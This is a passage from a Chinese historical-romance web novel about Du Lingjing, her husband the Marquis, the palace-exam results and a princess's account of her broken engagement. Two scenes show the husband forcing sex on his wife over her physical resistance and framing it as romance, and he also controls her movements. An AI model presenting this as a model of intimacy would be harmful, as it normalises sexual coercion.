那会她甚是迷惑,但如今想来,他提前知道圣旨只会将她赐给他,她见不见邵伯举都不重要。 而邵伯举也确实不是好人,可是他呢。 他所谓地初次见面,便扶住了她的腰,同她说那许多话。 他陆侯看起来,才不像个好人。 而那天邵氏兄弟从枕月楼离去,她又在大堂坐了一阵,而他就在枕月楼西楼的三楼上。 当时她远远地仰头看他,再没想过自己与他会做了圣旨落定的夫妻。 可不管是那会,还是如今,杜泠静不论怎么想,都想不起来他的面容与声音,在何处曾经遇过。 他说是三年前,不过有时哄她的罢了。 那么是什么时候呢? 大堂的鼓乐声紧了起来,咚咚地敲在人耳朵里,震在狭窄的楼梯间。 “泉泉,我们和好吧。”他轻握她的肩头。 但杜泠静却收回了脸上多余的神色,侧身从他怀中抽出身来,下了楼去。 …… 之后的马车里,又变得静默起来。 男人低叹。 不过去澄清坊东路吃饭的事,他既然说了,便不会无故取消。 可她却同崇平道,“回积庆坊吧。” 夫人要回侯府,崇平自得看侯爷的意思。 男人没应。 马车稍稍一转,就到了澄清坊杜府门口。 她不下车,男人叹气,“我们先吃饭,过会说不准有好消息递过来。” 好消息? 杜泠静微顿,崇平来请她下了车。 杜泠静算了算日子,好像再过三四日,便是会试放榜。 寻常人自是要等放了帮才知晓到底中没中,但这位侯爷就不好说了。 恰文伯闻声,迈着老迈的步子前来迎了她,杜泠静舍不得驳了文伯面子,便下了车来。 文伯上前跟她行礼,又同她身侧的人开口叫了他,“姑爷。” 陆慎如特特应了一声。 杜泠静想起他早就让澄清坊杜家的仆从全都改口,改叫他“姑爷”,眼下往里面走去,果然一路便是“姑爷”。 他则悄然看了她两回。 杜泠静无话可说了,文伯在前引着他们将扩进来的东路看了一遍。 隔壁原是现成的三进院,房舍才翻新不到十年,他没让宗大总管大动房舍,却把院中花草景致全然一变。 这一变,杜泠静走了一圈下来,还以为回到了青州的老家。 文伯则直接告诉了她,“姑爷是照着青州杜家的老宅让人重修的。” 杜泠静刚起头的“气”,不禁又下了三分。 两人一道在东院里吃了饭,饭桌刚撤下,就有幕僚来寻了他。 陆慎如往前院走了一趟,待回来的时候,杜泠静一眼便看见他面色含笑。 城楼上最后一缕霞光映的他眸中喜色溢出。 “今日果又好信儿。” 杜泠静顾不得同他置气了,不禁起了身。 他直接道,“青州杜氏,今岁要出一位新科进士了!” “是沧大哥!” 杜泠静甫一出口,便见他笑着点了头。 春闱会试只要榜上有名,成了贡生,那么接下来的殿试,就只是排排位次而已。 殿试不会刷下人来,最差也是同进士,就如杜泠静叔父杜致祁那般,而最好却有可能高中一甲,位列状元、榜眼、探花! 杜济沧会试中了,这事便就是稳了,青州杜氏时隔多年,终于又中了一位进士。 若是父亲泉下有知,还不知多么高兴。 杜泠静不由扶着心口笑起来,“可派人去告诉沧大哥了?” 陆慎如道还没有,他说不急,“不过就等三四日罢了,没得让人误会舅兄中第另有门道。” 换句话说,是借了妹夫陆侯的手。 杜济沧的学问是实打实的,陆慎如根本没多在其中说一句话。 杜泠静暗道先不提也好,说他近来都在归林楼里,正好不在京城中。 不多杜泠静又顺着想到了归林楼里的另一个考生。 “冯巷可考中了?” 她问去,见男人当即皱了眉。 “娘子觉得他那般,不把一门心思都放在举业上,能考得中吗?” 杜泠静:“……” 那么冯巷就是没中了。 杜泠静瞧了这人一眼,霞光渐渐散去,他眸色又显黑沉。 她暗道没中就没中,他也没必要拿话说人家冯巷,不过是惯来看人家不顺眼而已。 好在是冯巷确实志不在此,想来只会低落一个下晌,次日便笑盈盈地恢复过来。 杜泠静不再提冯巷,却忽的又想到了一个人。 “那六郎……?” 这三个字问出口,杜泠静便见男人沉默了下来。 不似方才提及冯巷,他还有明显的不悦,此时提及蒋枫川,他神色全然冷沉。 他静默看着她。 “别再操心蒋家人的事了,行吗?” 他嗓音很低。 杜泠静只是问一问而已。 三郎生前最挂念的,不就是六郎的举业么? 她抿唇,却听身前的人道。 “他不是个好东西。” 这话引得杜泠静皱了眉。 不过就是因为六郎把他瞒他的事,都翻出来而已。 杜泠静注定从他这里得不到答案,提及蒋枫川,提及蒋家人,他的态度早已大变。 霞光消散在了城楼下,无人居住的澄清坊杜府三路,静到无声。 两人一时都没开口,还是文伯来院中点灯。 男人看了他娘子一眼,先缓了声。 “院中可还有什么要另修另添的?” 这里已经同青州杜氏的老宅很像了,唯独有一处不像—— 墙角里缺了一丛修挺的翠竹。 杜泠静目光看向墙角,他亦扫了过去。 此间缺了竹子,他心知肚明。 杜泠静方才替一句六郎,他就沉了脸,此刻再说缺了竹子,他还不知要如何。 他就这么介意?介意与三郎有关的任何人与物,出现在她的眼前。 那么先前,他怎么就耐着性子撑大度?还为三郎做水陆法会。 杜泠静看不懂他。 他则道,“看来没什么要改要添的了,回家吧。” 杜泠静默然离去。 倒是陆慎如目光掠过那空了翠竹的墙角,沉眸抿唇离开。 * 晚间杜泠静缺了兴致,随便翻了翻书,就让秋霖替她拆了发髻,准备休歇了。 男人从外院料理了几桩事回来,见只有丫鬟给他行礼,她坐在妆台前,只看了他一眼就收回了目光。 明明白日里不是这样,但凡提到一个“蒋”字,她就对他冷了神。 丫鬟倒了茶来,陆慎如浅饮两口换了衣裳,出来见两个丫鬟都聚在妆台前。 “夫人的钗环怎么缠起来了,还缠得这么死……” 秋霖和艾叶刚动了动,他便从铜镜里看见她吃痛地皱了眉。 他走过来,“用剪子剪断不成吗?” 秋霖回行是行,“只是怕伤了夫人的头发。” 身体发肤授之父母。 杜泠静却准备干脆忍一时痛,拔下来算了。 但她刚伸了手,就被人挡了回去。 “别乱动。” 杜泠静被他止住,见他彻底走上前来,指尖扣在她发间缠绕的花簪上。 他手下一使力,簪子径直被他掰断成两段, 他替她俱都取了下来,随手放去了一旁。 “弄疼了吗?” 杜泠静摇摇头。 他略松一起。 “这套别带了,下次换那套红珊瑚的。” 杜泠静不置可否。 不时洗漱完毕,上了床来。 杜泠静不由想起白日里在靖安侯府的事情。 年嘉那会便低落了心绪,眼下也不知恢复些许没有。 她说可能是她连累了她,话里有话的样子,又说改日到侯府来,不知是不是要同她提及与魏玦的旧事。 杜泠静想了一会年嘉,躺在床上,男人亦熄了蜡烛,进到了帐中。 杜泠静心道今晚与先前多半也无甚区别,要转身去睡,不想却被他在锦被中握住了手。 她抽了一下没抽出来,而下一息,他忽的将她拉进了怀里。铁臂扣紧,滚烫炽热的胸膛翻过来,将她骤然压下…… 他已太过熟悉她的身体,三招两式之间,纱帐曳地,翻腾颠簸。 杜泠静完全不能自控,多时未有的春事,更无香气熏染,她一时间竟难以耐下,腰间颤起。 可他偏要,握着她的腰,令她完全纳下。 雕花床内无风无月,可纱帐之间湿热升腾。 与他交错的气息环绕着,她已被他点在柔处,于柔软的锦被间落雨满身。 雨亦落在她眼里,他低头吻在她眼下。 她气到极力推去,但根本推他不开,反而密合的谷地当中,枕月楼里的花酿四溢。 她滩成了一滩水。 他却尚未停歇,不断地推着她向上,杜泠静大力打在他肩头上,他则越发将她推到极高顶点,直到她完全湿了透、脱了力。 他才将她柔柔抱在怀里。 纱帐搭在她白软的脚边,他拢了她的肩头令她更靠在他胸前,低哑的嗓音叫了一声“泉泉”,侧过头向她唇边吻来。 杜泠静却绷了唇,径直别过了头去。 他吻在了她鬓下耳边。 第64章 次日他没去上朝。 杜泠静刚从锦被中坐起身, 他便从外间阔步走进来。 杜泠静一眼看见他,想起昨晚上的事,就气得转过了身去。他倒是没了前几日的冷硬, 默然看了一眼她极其不悦的神色,取了衣衫拿到了床边。 他给她披了衣裳, 杜泠静立时拨开去。他并不闹, 握了她的手臂,给她将袖子穿了起来。 杜泠静是不想理会这个人,并不知想让他贴身伺候她,平白给他近身的机会。 她自己将衣带系了起来, 他却找到了另外的机会。 金尊玉贵的陆侯爷,此刻俯身, 握了她白细的脚腕,替她穿了袜子在脚上。 杜泠静一顿,又觉他温热的指腹有薄茧剐蹭在她细嫩的脚面,别样的触觉, 连同昨晚他的强行, 拨弄得她身形止不住轻轻一颤。 他抬头看过来, 眸色浓浓地凝在她脸上。 杜泠静决不会给他任何好脸,这便叫了秋霖。 男人站起了身, 秋霖甫一进门,她便道。 “拿我的避子药来。” 第一次, 夫人当着侯爷的面直言要用避子药。 秋霖吓了一跳。 果见侯爷神色滞停了一息,目光落在夫人身上, 夫人只当不见。 侯爷停了停,秋霖以为侯爷与夫人又要争论起来,但侯爷什么也没同夫人说, 只是问了她。 “夫人避子药可伤身?” 这药是一位老太医的秘方,秋霖让阮恭颇为费了些工夫才购置来。 她道,“并不伤身。” 男人听了,道了声,“好。” 杜泠静不知他要怎样,让秋霖取了药服下去。她吃过药,瞥向他。 他亦不恼,只缓缓道了一句。 “那娘子就用吧。我倒是想知道,是娘子你的避子药得力,还是你夫君,更胜一筹。” 话音落地,杜泠静心下微微一跳。 他则最后看了她一眼,转身出了门去。 杜泠静气得攥了手。 秋霖在旁连连叹气,目光又不由自主地落在夫人的小腹上。 那到底是夫人的避子药中用,还是侯爷更厉害呢? * 京城东城,黄华坊顾府。 保国夫人派人送来的东西,到了荣语堂万老夫人院子里。 儿媳梁氏低着头恭顺地进门亲自禀了来,“……保国夫人送来的,无不是些上好的药材,您可要亲自瞧瞧?” 万老夫人抬手道不必了,让人收起来,又派儿媳梁氏亲自去信云伯府道谢。 打发去了梁氏,她便转头同外孙女杜润青道。 “青儿你瞧,保国夫人确实是中意了你,外祖母没说错吧?” 杜润青实在没想到。 她父亲没能得侯爷提携,仍旧往原处赴任,她在京门贵女里无名,若论有名,也是外面传的姐妹换嫁一事。 保国夫人可是皇上的舅母,连皇上、皇后和贵妃娘娘都要敬着的,她为魏指挥使选妻,怎么会选上她? 一切有外祖母做主,她本不该多问,但此刻还是忍不住问了这个问题。 万老夫人听着就笑了起来,她道她确实比不得其他高门贵女,“但保国夫人若能为指挥使选得高门贵女,早就选了,还等到如今?最关键的,是青儿你姓杜。” 姓杜,青州杜氏,杜阁老杜致礼的侄女。 好巧不巧,魏玦正是对杜致礼十二分地仰慕。 “……你伯父过世那会,保国夫人便托咱们给你伯父上过极重的丧仪,那丧仪比你舅舅给的还重,又因着魏家同你们杜家素日并无往来,便没让人知晓,可外祖母却知道。” 万老夫人说着,摸了摸外孙女的肩头。 “魏玦不欲娶妻,保国夫人拿他一点办法都没有,但若这妻就出身他最敬重的杜阁老家中呢?” 万老夫人料想,保国夫人应该更中意杜致礼的女儿杜泠静,可惜杜泠静与那年嘉郡主是旧识手帕交,再不合适。 眼下年嘉郡主又回了京城,保国夫人见年嘉郡主都成了婚,魏指挥使却还未娶妻室,怕京中的人说三道四。如何不着急? 前段日子,她稍稍给保国夫人递了意思,保国夫人就立刻接了她这意思,这次靖安侯府寿宴,她相看了青儿。 万老夫人看向外孙女,“保国夫人对你颇为满意。还有什么可疑虑?” 她道,“外祖母怎么教你的?只要恭顺知道进退,多把心思用在后宅,不管怎样高的门楣,嫁进去都不会过得差。相反有些人一意孤行,就算是圣旨赐婚的侯夫人,也不能长久。” 后面这句说的是谁,再明白不过了。 杜润青低头应是,万老夫人见她乖顺听从自己安排,满意地点头让她去了。 “外祖母自不会亏待你。” 更重要的是,她这京门月老,眼下已经无人问津,连带着她儿顾扬嗣哪怕渐渐恢复过来,差事也没得做。 再这样下去,顾家只能离开京城高门回乡下了,如此就彻底衰败。 她经营了一辈子,就因为那杜泠静一场婚事就弄垮了她? 那当然不行,如今没人寻她做亲,但她若能将外孙女嫁去魏玦这样的高门权臣,这京门月老的名头,不就又回来了? 她儿顾扬嗣,闷在家中烦闷得不行了,成日打奴骂婢,她安慰不了,就只能尽快。 不过唯一不太稳妥的是,保国夫人等闲做不了魏玦的主,还得有些旁的办法才好。 …… 又两日,整个京城热闹非凡。 天没亮,提前得了消息的人,便吹吹打打往高中的举子家中报信去了。鼓乐声就没停息,一阵接着一阵。 杜家不用说,杜济沧不仅中了,还排在杏榜第十二名的高名上。待到下月殿试,这样的高名一定位列前排,就算中不了一甲的状元榜眼和探花,也必然是二甲正儿八经的进士,而非三甲同进士。 杜泠静早上起身,便不断有仆从来给她道喜,杜泠静叫阮恭取钱来发下去,不想她的钱还没到,某人已令宗大管事取了三大筐银钱,一筐发到侯府内院,另两筐给外面报喜的人发去。 这等阵仗,不知道的还以为满门武将的陆氏也有人榜上有名。 杜泠静就算不想领他的情,但他的钱也已发了。 大喜的日子,杜泠静不想跟他置气,又问了阮恭。 “六爷到底中没中?” 没有提前的消息,阮恭就留了人手在澄清坊,嘱咐人一早就去贡院门口看榜。 不过消息还没这么快传到侯府里。 杜泠静怕消息传不到她耳中,就被人拦在半路上。 菖蒲却让她不要担心,“夫人,小的在后院树丛后面发现一个狗洞,说不定能出去,若白日里没有消息,小的晚上爬出去挑了灯也给夫人瞧回来!” 他说得绘声绘色,杜泠静几乎看到他爬狗洞的样子了。 但这可是永定侯府,只怕菖蒲还没爬过去,崇安就在狗洞外面等着他。 她不想给菖蒲泼冷水,阮恭却干脆得很,抬脚踹了他一脚。 “爬狗洞?!亏你想得出来,还不够丢人的!” 他把菖蒲一脚踹了出去,“去门口等消息!” 菖蒲连忙捂着屁股去了,刚去了一刻钟就飞也似地跑了回来。 “有消息了?”杜泠静连忙问。 众人也都朝着菖蒲看去,偏这小子还卖起关子,“夫人猜猜?” 这次连秋霖都忍不住要踹他,“快说!” 艾叶直接上去掐了他一把,菖蒲被妹妹掐地哎呦直叫。 却也道。 “中了!六爷中了还不行吗?!” 杜济沧中举的时候就在第八名,前来春闱很是稳当。 六郎就不好说了,四年前中举就排字在后面,算是堪堪中第。 杜泠静不禁惊喜,“六郎还真中了……什么名次?” 菖蒲伸了手指,比了个三。 “啊?六爷杏榜排了第三?!”秋霖吓了一大跳。 杜泠静挑眉。 菖蒲嘿嘿道,“六爷啊,排在末尾第三。” 杜泠静也快要打他了。 不过蒋枫川就算倒数第三,那也是榜上有名,至少是个同进士,也说不准皇上一眼看中了他,愿意赐他个正经进士,就更加体面了。 杜泠静不由地念了声佛。 想到三郎生前最挂心此事,今时今日在天上看到,该放心了吧。 六郎金榜题名,而她亦嫁了人,一切都和从前不一样了。 杜泠静莫名在窗下支了手臂,出了好一阵神。 …… 第三日傍晚的时候,杜济沧终于抽出空来了趟侯府。 陆慎如先在外院恭贺了他,又请了夫人到前院来,令人摆宴,宴请了高中的舅兄。 杜济沧红光满面,杜泠静也心悦极了,特为他准备了贺礼。 陆慎如则问及他之后为官有何打算。 三人闲聊了一阵,这会撤了席面,恰有幕僚来寻陆慎如说事,陆侯失陪暂离,独剩下杜氏兄妹二人在庭院里吃茶。 杜泠静先问了一句冯巷的状况,听见沧大哥道。 “小冯是无甚执念的人,失落了半日,次日又恢复了寻常,还问我,要不要把会试的文章并到新出的时文选粹里。” 杜泠静听见这话就笑了,冯家小弟果如她所料。 但她亦提起了蒋枫川,趁着某人不在。 杜济沧直道六郎的名次很是惊险,但最幸的是有惊无险。 “……蒋氏一族虽然失了三郎,但三郎带出了六郎,此番也是足够欣慰。” 杜泠静安静了几息。 她也说是,不过不管六郎还是三郎,一个蒋字都不能在某人面前提。 她从袖中取出一只小匣子来,递给了杜济沧。 “还请沧大哥代我同六郎和蒋太妃娘娘道喜。这是给六郎的喜礼,有劳大哥转赠。” 这是小事。 只是杜济沧接过来的时候,男人正好从门口走了回来,既听到了前面的话,又见到了转赠的礼。 他目光扫过杜泠静,杜泠静抿了唇不言。 好在杜济沧尚在,陆侯夫妻二人谁也没多说。 又闲聊片刻,月色笼起,杜济沧同妹妹、妹夫告辞离开了侯府。 杜泠静也要回了正院,可步子还没迈出去,被人阻了去路。 “今晚就留在远岫阁。” 他沉声。 杜泠静晓得,他不过就是因为她给六郎赠了喜礼。 她侧了身越过他就往外走,冷着脸。 “不要。” …… 远岫阁,陆慎如外院卧房。 泉泉流水快被人抽干了。 杜泠静气到通身出尽黏腻的汗,薄衫滑落在她肩头之下,她重重喘息着,他还不肯放开她,于敏处反复剐蹭。 任她拍打推搡都无用,他反而力道更准更重。月光流转,整退整出间,彰显着他无可忽视的存在感。 杜泠静咬了牙,怎么会有这样的人?! 脚尖抽了又抽,她汗水出尽。第一次想张口咬人。 咬人,读书人中多么仓皇无措失礼的一件事,可她忍不住了。 然而西北边关出来的铜墙铁壁与铜筋铁骨,根本令人无从下牙。 他还不断,杜泠静气红了眼睛,男人似书读出她的念头,忽的递了手,就递在了她唇边。 她不禁一口咬了下去,牙齿在钉在他虎口的薄弱处,他不吃痛,反而轻笑了一声。 他更发力深入,杜泠静牙尖死死钉他。 可他浑然不觉痛,但再用力就出血了。 而读书人怎么能咬人呢? 杜泠静忽的放弃,垂下了头来。 男人亦叹了口气,被咬的虎口托在她脸庞,指尖轻抚,他低头吻下。 她还是侧过身,他吻在她颈后纤细的颈骨上。 但更抱了她坐在他身,求索直到天亮。 …… 杜泠静日上三竿起身的时候,他没在房中。 思及昨晚,她靠着雕花靠背,默默生了好一阵气,才起了身。 膝上发酸,她却看见床边小几上,放了张帖子,压了封信。 是年嘉的。 杜泠静拆信才看到,年嘉陪着魏琮出京静养去了,就在离京不远的一处山房别院,一时无法来侯府寻她,却请她同往山房小住。 但杜泠静出不了门,眼下能不能出远岫阁都不好说。 不过他还把帖子就放在床头,让她一起身就能看见,是什么意思? 杜泠静正想着,男人脚步从外面撩帘子进来。 他一眼看到她正拿了年嘉的帖子,“要不要去小住几日?” 杜泠静抬眸瞥了他一眼。 那山房可是在京外。 “侯爷这么好心?” 她问得冷嘲热讽,男人轻轻笑了笑。 “自然没这么好心。”他道,“我与娘子同去。” 杜泠静:“……” 她不说话了,他叫了丫鬟进来伺候她更衣洗漱,他暂时离开了卧房。 杜泠静换好衣裳,眼角忽的瞥见一旁的剑架上,缺了一柄剑。 杜泠静抿唇微默。 他那四把又重又长的刀剑俱在。 他却独独取走了二爷的那柄银雪剑。 * 京外不知何时,层山遍野悄然染上了绿意,新嫩的绿如同天上飘落的青纱,柔柔覆盖在起起伏伏的山川大地上。 某人真是发了善心,先叫马车去了趟归林楼。杜泠静在归林楼里逗留了大半日,才又启程,去了魏琮和年嘉静养的山房。 绿意充盈的四野,下起了油润的春雨。 侯府的马车刚靠近山房别院的门前,杜泠静便见一双人站在春绿萌生的门前石阶上,挑着伞朝着马车看来。 年嘉高高地朝她挥了手,春风将她的身影与轻快悦色一并吹进车窗里来。 杜泠静心下亦不由轻快,迎着雨也跟她摆了摆手。 崇平亲自驾马,马车很快停在门前。 有人先下了马车,挑伞接了她下来。 杜泠静自是不用挑伞,却这才看见门下年嘉高高举着一只手,替她自己和魏琮打了伞。 杜泠静微讶,看见一旁魏世子十分无奈,转头同年嘉道,“郡主,还是我来吧,还不至于扯了伤势。” 然而年嘉却迟疑又摇头,“母妃说我没把世子你照看好,我再让你打伞,回头被她知道了,说不准还要告诉太妃娘娘。” “可是郡主,已经把伞打到我头上来了。” 魏琮身形极高,年嘉就算举着手,此刻也是把伞挂在了魏琮的发冠上。 年嘉:“……” 但她真的怕挨训,“……世子忍忍不行吗?” 杜泠静见魏琮微顿,又笑起来。 “自是行的。” 杜泠静也跟着笑了,一旁有人看她。 杜泠静正不欲与他共在伞下,待四人相互见礼,她上前拉了年嘉,“你给我打伞吧,别为难世子了。” 年嘉连忙道好,杜泠静接过伞来。 另一边的魏琮却没得让侯爷替他撑伞,男人直接让崇平过来为他打伞,又问起了他伤势恢复得如何。 年嘉则引着杜泠静去了一处安静的落脚院子。 将门窗打开,两人坐在门前观雨闲话。 年嘉左右瞧了杜泠静,“之后保国夫人没如何为难你吧?” 她低了低声,“我只怕是因为我的缘故,连累了你。” 到底保国夫人是长辈、是姑母,静娘只是侄媳。 杜泠静摇摇头说没什么。 不过看了年嘉一眼,“所以当年……是因为保国夫人?” 是因为保国夫人,年嘉与魏玦,最终走失在世间人海里? 外面雨幕连连,雨水滴滴答答落在石板上,又飞溅到窗内门里。 年嘉摇了头,声音糅在雨声中。 她说恰恰相反。 “与保国夫人无关。” 第65章 “可能是我仗着自己是宗室郡主, 太过娇纵,最后让他受不了了。” 雨幕密了起来,哗哗啦啦打在庭院的青石板上, 飞溅着四下皆白,连墙角的树都看不清了, 只余风雨夹着被打落的树叶, 飞扑到门槛里。 树叶落在年嘉的裙摆上,她拾了,又掷回到风雨里。 杜泠静抬头看去,听见她问来, “静娘可记得,我从前一直想亲手, 给他做一件银白色的锦袍?” 风吹来久远的回忆,拨动着杜泠静鬓边的碎发。 她记得。 魏玦在宫里当差的时候,其实一心想要读书。他心中最是敬仰的,便是她父亲那等实打实科举走上来的读书人—— 读书、做官、桃李天下, 为国为民。 可惜魏氏是行伍人家, 而魏玦亦是皇亲, 等到他的年岁,想要走科举路已经晚了。 “可我却觉没什么, 皇室宗亲怎么就不能出清贵的读书人?”年嘉低声,“他若做了我的仪宾, 我便让他读书,再让裕王府的长史, 想办法给他寻个读书人的官,也不是不行。” “我是这般作想,还想着我的仪宾与旁人的仪宾不一样, 是读书人,更该穿一身浅色的锦袍,有那清贵的模样。” 年嘉有了这念头,便真的打量起给他亲手做一身银白色的合身锦袍。 “但我女红太差,不想借旁人的手,量体裁衣都闹不明白,偏偏他那时正值年少,个头长得飞快……” 风雨吹打进门窗里。 杜泠静想起自己随父亲返回青州之后,收到过年嘉的几封信。 每一封信,她都提及魏玦,提及这件给魏玦的极其难做的银袍。 杜泠静记得某次她坐在勉楼下的竹林里,刚打开年嘉的信,迎面而来的便是年嘉烦恼的抱怨。 她说她好不容易量体裁衣有了进益,手上的衣裳做得飞快,马上就要做好了,结果和魏玦才两个月没见,再见面差点没认出来,他又长高了一截,那眼看着要做好的银袍,再怎么改量也不成了! 年嘉气得要命,在心里说不再白费力了,简直就是折磨。 杜泠静那会也觉得年嘉要放弃了,郡主本也不是能耐下心做女红的人。 杜泠静向她看去,听见她低眸笑了笑,道,“其实我没死心,那件衣裳改了不成,就又重新扯了布来。” 她说如此拖拖拉拉,衣裳还没做出来,眼看着两人都长大了,到了议婚的年纪。 彼时,不再是先帝在世,两人都在宫里的日子,而是今上继位,年嘉出宫回了裕王府,而魏玦则一跃成了天子表弟。 从前年嘉是郡主,他只是忠庆伯府魏氏的旁枝。 “但母妃见我心悦他,除了他瞧不上旁人,未成阻拦过。” 但皇上继位后,魏玦父亲成了国舅,他们一枝从忠庆伯单立出来,获封信云伯府,魏玦的父亲成了伯爷,直升锦衣卫指挥使,魏玦成了信云伯世子,再不是从前名不见经传的小子。 “开始有人来给他说亲,文臣武将、宗室皇亲。他们说我裕王府只是个空架子,说我是没有爹的孩子,配不上他。” “我听见这些话就恼了起来,一怒之下,把好不容易又快给他做好的银袍扔了出去。” 魏玦却不知从哪里将衣裳捡了回来,当晚就匆促叩裕王府的门。 年嘉不肯见他,他就在外面一直等,等到后半夜天上飘了雨,年嘉眼见着雨势越来越大,他却还不走,这才撑了伞快步出去。 “你还在这做什么?我又配不上你,你还不赶紧走?” 她没好气,魏玦却无奈地笑起来。 “从来只有我配不上郡主,何曾有郡主配不上我的时候?” 夜雨把他浑身淋得湿透,碎发黏在额上,雨从袖口哒哒低落。 但年嘉还是绷着脸,“可你却不曾让人来王府提亲。” 这话引得魏玦沉默了一下。 年嘉见他不说话了,更是生气,转身就要走。 但他却一把拉住了她的手。 “不是这样。” 他说自己这个意外封来的信云伯世子才是空的。 “除了这名头我什么都没有。如何到王府来提亲?” 他说他并不喜欢锦衣卫的差事,他说读书的路是不成了,但他想到军中立功。 “就像陆家表兄和琮从兄那样。” 他说的是陆慎如和魏琮。 “似他们那般在战场上累来实打实的功勋,沙场驰骋,一展抱负,不失在天地之间做一回男子。” 年嘉怔住,这话她还真是第一次听见他说。 原来他已经不再想着读书的事,原来他也想去西北立功…… “只是我不晓得,”他抬眸看了过来,眼睫被夜雨打湿,“我不晓得元元你,愿不愿意跟我离开京城,去那西北边关的风沙中。” 他叫她元元,那是年嘉的乳名,是她未曾见过面的父亲裕王,生前给她留下的名字。 风雨更紧了,密密掩着庭院,如同入夜一般。 杜泠静愣了一愣。 多年之后,年嘉确实去了西北,但不是跟随魏玦,而是魏琮…… 杜泠静默了一时,年嘉却道那晚听了他的解释,就没再继续生气。 她说她可以考虑去西北,但也得回京照顾她母妃。 但被她扔出去的银袍却坏了,好不容易合身了一次,却不能穿了。 魏玦道无妨,他回去让针线上再修补一番,改日穿来给她看。 “别生气了,好不好?” 年嘉当然不生气了,可却也不许他穿那件破了的衣裳,“你不许再长高了,我重新给你做一件!” 他低头笑着说好,“我不长了便是,你慢慢做。” 年嘉真的很喜欢他穿银白色,站在皎洁的月光里,像是从画中走下来的仙人,纯净无暇。 她的仪宾,自是比旁人的都要俊俏出尘…… 但魏玦却没能找到西北的机会,他父亲魏国舅突然病逝,他承袭了信云伯的位置,顶起了整个信云伯府,也彻底进入了锦衣卫中。 或许是沾了锦衣卫阴冷的气息,他越来越忙碌,也越来越沉默。 年嘉开始见不到他了,一月两月地见不到,三月五月也见不到。 分明两人都在京城,他却像隐了身一样。 “我料想锦衣卫是这样的,也劝自己别计较。” 年嘉说到这,眸色一滞。 她开口,“直到有一次,我发现他分明看到了我的马车,却当作没看见,就这么错了过去。” 那日的年嘉又惊又气,完全不知魏玦为何是这样的态度,她径直让人拦住了他,质问他缘何如此。 彼时魏玦沉默一息,才淡淡道,“我没看到郡主的马车。” 接着便道,“宫里还有事,我先走了。” 他说完,再无停留,打马离开了去。 “我实是不争气,回家就气哭了。太妃娘娘同母妃说我二人这般拖着,不是好事,应该早早定下亲事来。” 魏玦父孝快过了,先把亲事定了自是可以。 裕王妃心疼女儿,不满这位“女婿”的态度,而蒋太妃却道魏家今非昔比,魏玦已是信云伯,日后说不定还要接了魏国舅的差使,坐上那锦衣卫指挥使的高位。 她又道年嘉既然在意他,满心喜欢,舍不掉,那么裕王府主动些,低些姿态也应该。 “我从未在他面前低过头,从来都是他哄着我。只是祖母这么说,我也在想,是不是我的脾气太大些,把他压得不高兴了。” “我同意低头,母妃就邀了保国夫人去红螺寺,还带上了我给他新做的银袍。” 裕王府肯主动,保国夫人自然高兴。 年嘉自觉与保国夫人不算投契,但两家开始商议定婚的事,保国夫人一下就同意了,还为魏玦的无状在裕王妃面前道歉,说会把银袍拿回去,“明日就让魏玦穿来,到郡主面前赔礼。” 年嘉到底是郡主,两家也算门当户对,保国夫人对这亲事无有不满。 想等两人和好之后,就正式议亲。 但银袍送了出去,“我从次日天不亮,就等他上门跟我好好说话,但一直等到太阳落山,等到夜幕四合,也没见他半分身影。” 一整晚,姑娘辗转反侧,无法入眠。 她拿出自己最大的耐心,准备再等他三天。 但从早到晚地一连等了三天,他都没上门。 第四天,等待的人耐不住了,打听了他在锦衣卫北镇抚使司,她堵了过去。 旁人见锦衣卫都躲着走,她却径直闯了进去。 “你什么意思?!别说你没工夫穿件衣裳来跟我说话!” 一件她断断续续亲手缝了四五年的衣裳。 她只想等他,叫她一声“元元”,好生跟她说几句话。 但他再没叫过她“元元”了,侧过身,“这里不是郡主该来的地方。” 这句冷淡至极的话,彻底惹火了年嘉。 “好,魏玦,那你把我的衣裳还给我!我今后再为你动一针一线,就让满京都看不起我!” 她何曾说过这么重的话,料想这话出口,他是不是能恢复一点正常了? 可他面色未动分毫,只闻声顿了顿,然后低声了人来,“把郡主的衣裳取来。” 那银袍竟就在锦衣卫里,年嘉有一瞬不知他要做什么,直到看到那件,她亲手缝了多年的银袍出现在面前。 他没看一眼,也没碰一下,只叫了人。 “把衣裳还给郡主。” 他把她给他做的衣裳,当真还给了她。 年嘉愣住了。 锦衣卫里有种说不出的阴沉冷意,冲得人从鼻腔到眼角刺痛。 日头落了下去,四下里昏昏暗暗,她不可思议地看住他的眼睛。 “你真不要了?” 问出去的声音是颤的。 魏玦闭眼沉默,却也是默认。 年嘉不想在他面前留下一滴卑微的眼泪,可是她根本忍不住。 她撕破了衣裳。 她把那件银袍撕碎踩在脚下。 “魏玦,以后桥归桥,路归路,我年嘉与你此生再不往来!” 他默然一息,只平静地回了她一个字。 “好。” …… 杜泠静定住,听见年嘉道。 “我彼时回到王府,还试想他会不会追上来,夜里难受到把自己藏进柜子里,还想他会不会后悔了,回心转意从柜子里把我找出来…… “可是他,再也没有来过了。他再没来找过我了。” 从她的生活里退了个一干二净。 那时他们都还在京城,但相逢已是陌路,又或是,自那再无相逢了。 杜泠静不可思议,她怔怔看着年嘉。 听见年嘉说自己从那之后,再没与魏玦说过话。 “其实后来保国夫人来过王府一次,但我彼时还在气头上,叫人不许开门,让保国夫人吃了闭门羹。” 保国夫人可是国舅母,京中有几人敢给她没脸? 外面雨势不知何时消减下来,年嘉轻轻叹了口气。 “我那时不懂事,连这点面子情都没做到,想来惹恼了保国夫人,又连累了你。” 杜泠静连连摇头。 事情已过五六年,她见年嘉说起这段旧事,神色淡淡的,有些怅然与怔忪,却也并无彼时的痛心神伤。 她只是嗤笑起自己。 “约莫是我太过娇纵,自来都是让人来哄,他早已无法忍受了吧。” 一次又一次地争执,他都可以转过身来哄她。 但某次她以为最是寻常的争执后,他再也没有转回身来。 她还在等他,可这次已是决裂。 年嘉笑笑,“其实他不娶我也是对的,我既没有好性子,也没有好家世。外面瞧着是宗室的郡主,可裕王府确实只是个空架子,我只是那个没有爹的孩子……” 杜泠静红了眼睛,她靠近握住年嘉的手。 “别这样说!” 年嘉轻笑着叹了气,她眼睛亦有些发红,看向杜泠静。 “也就是你真的愿意同我好,还有世子真的愿意娶我。他恐怕对我也不甚了解,我也不好意思跟他说,我其实是个不怎么样的人。” “怎么会呢?”杜泠静道,“不管是我还是世子,我们从未觉得你有半分不好。” 至于魏玦,杜泠静想不明白。 她只能也说了那句话,“过去的事就让他过去吧,你如今很好。” * 晚间四人一道吃饭的时候,年嘉渐渐恢复了,杜泠静再不会多提,与她一并坐着,跟她说了闲话。 